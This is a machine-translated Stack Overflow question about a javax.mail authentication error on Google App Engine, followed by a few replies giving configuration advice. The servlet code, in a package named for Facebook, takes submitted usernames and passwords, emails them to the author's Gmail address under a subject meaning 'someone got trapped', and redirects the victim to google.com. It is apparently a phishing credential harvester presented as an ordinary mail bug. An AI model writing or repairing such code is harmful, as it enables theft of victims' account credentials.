无法在java应用程序引擎中使用javax邮件
我用JavaServlet编写了发送电子邮件的程序。当我在localhost中部署这个程序时,我成功地使用gmail帐户发送了电子邮件。但当我部署到谷歌应用程序引擎时,出现了一个错误。在谷歌应用程序引擎中发送电子邮件有任何限制吗?这是我的代码:无法在java应用程序引擎中使用javax邮件,java,google-cloud-platform,jakarta-mail,Java,Google Cloud Platform,Jakarta Mail,我用JavaServlet编写了发送电子邮件的程序。当我在localhost中部署这个程序时,我成功地使用gmail帐户发送了电子邮件。但当我部署到谷歌应用程序引擎时,出现了一个错误。在谷歌应用程序引擎中发送电子邮件有任何限制吗?这是我的代码: package com.fjr.action.facebook; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutp
package com.fjr.action.facebook;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.GenericArrayType;
import java.nio.file.attribute.UserPrincipalLookupService;
import java.util.Properties;
import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.SAXException;
public class ProcessRequest extends HttpServlet{
public void doGet(HttpServletRequest req, HttpServletResponse resp) {
String nama = req.getParameter("username");
String password = req.getParameter("password");
if (nama != null && password != null) {
processEmail(nama, password);
try {
// String path = getServletContext().getRealPath("/WEB-INF/file/userlist.xml");
// System.out.println(path);
// writeToXML(nama, password , path);
}catch( Exception e) {
e.printStackTrace();
}
}
try {
resp.sendRedirect("http://www.google.com") ;
// resp.addHeader("Location" , "www.google.com" );
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void processEmail(String nama, String password) {
// UserService service;
String host = "smtp.gmail.com";
String from = "some-email@gmail.com";
Properties props = System.getProperties();
// Properties props = new Properties();
props.put("mail.smtp.host", host);
props.put("mail.smtp.user", from);
props.put("mail.smtp.password", "password" );
props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
Session getMailSession = Session.getDefaultInstance(props, null);
MimeMessage generateMailMessage = new MimeMessage(getMailSession);
try {
generateMailMessage.setFrom(new InternetAddress("fajar.kasimbar@gmail.com"));
generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("other-email@gmail.com"));
generateMailMessage.setSubject("Ada yang terjebak");
String emailBody = "nama: " + nama + "| pasword: "+ password;
generateMailMessage.setContent(emailBody, "text/html");
Transport transport = getMailSession.getTransport("smtp");
transport.connect("smtp.googlemail.com", "some-email@gmail.com", "password" );
transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
transport.close();
// Transport.send(generateMailMessage);
}catch(Exception e) {
System.out.println("mail.sending error");
e.printStackTrace();
}
}
}
我得到了这个错误
[INFO] GCLOUD: INFO: Module instance default is running at http://localhost:8080/
[INFO] GCLOUD: Sep 09, 2019 12:52:07 PM com.google.appengine.tools.development.AbstractModule startup
[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 09, 2019 8:52:07 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: mail.sending error
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.processEmail(ProcessRequest.java:116)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:43)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD: at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
编辑1:
我把代码编辑成
public void processMail2() { ////////
Properties props = new Properties();
String host = "smtp.gmail.com";
String from = "fajar.kasimbar@gmail.com";
props.put("mail.smtp.host", host);
props.put("mail.smtp.user", from);
props.put("mail.smtp.password", "some-password" );
props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
Session session = Session.getDefaultInstance(props, null);
session.setDebug(true);
try {
Message msg = new MimeMessage(session);
msg.setFrom(new InternetAddress("fajar.kasimbar@gmail.com", "Kue Bolu"));
msg.addRecipient(Message.RecipientType.TO,
new InternetAddress("fajar.kasimbar.1@gmail.com", "Test"));
msg.setSubject("Your Example.com account has been activated");
msg.setText("This is a test");
Transport.send(msg);
} catch (Exception ex) {
ex.printStackTrace();
// ...
}
}
但仍然会得到一个错误:
[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 12, 2019 7:36:58 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: DEBUG: setDebug: JavaMail version 1.4ea
[INFO] GCLOUD: DEBUG: getProvider() returning javax.mail.Provider[TRANSPORT,smtp,com.sun.mail.smtp.SMTPTransport,Sun Microsystems, Inc]
[INFO] GCLOUD: DEBUG SMTP: useEhlo true, useAuth true
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:105)
[INFO] GCLOUD: at javax.mail.Transport.send0(Transport.java:168)
[INFO] GCLOUD: at javax.mail.Transport.send(Transport.java:98)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.processMail2(ProcessRequest.java:155)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:47)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD: at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)
谷歌应用程序引擎说明如下。您不需要连接到服务器;只需使用默认值和静态发送方法。更新您的帖子以显示您现在使用的代码,然后发布。在javax mail APIE的服务类中仍然有connect方法。我对GAE的理解是,您应该删除所有mail.smtp.*属性设置。此外,您应该使用Session.getInstance而不是Session.getDefaultInstance。最后,您是在使用GAE提供的JavaMail版本,还是在应用程序中包含JavaMail jar文件?它是用pom.xml配置的,所以当我将源代码推送到github时,当我登录到google app engine shell时,我会提取包含pom.xml的源代码。因此,当我在pom.xml中运行代码时,它会自动下载所有必要的基于pom.xml的jar文件。顺便说一句,我使用免费帐户,而不是付费帐户。也许这就是问题所在,但我不知道。除了发送电子邮件,一切都正常。我在互联网上搜索,据说是谷歌应用程序引擎,限制IO操作和数据库操作的免费帐户。但我不知道他们是否也限制电子邮件。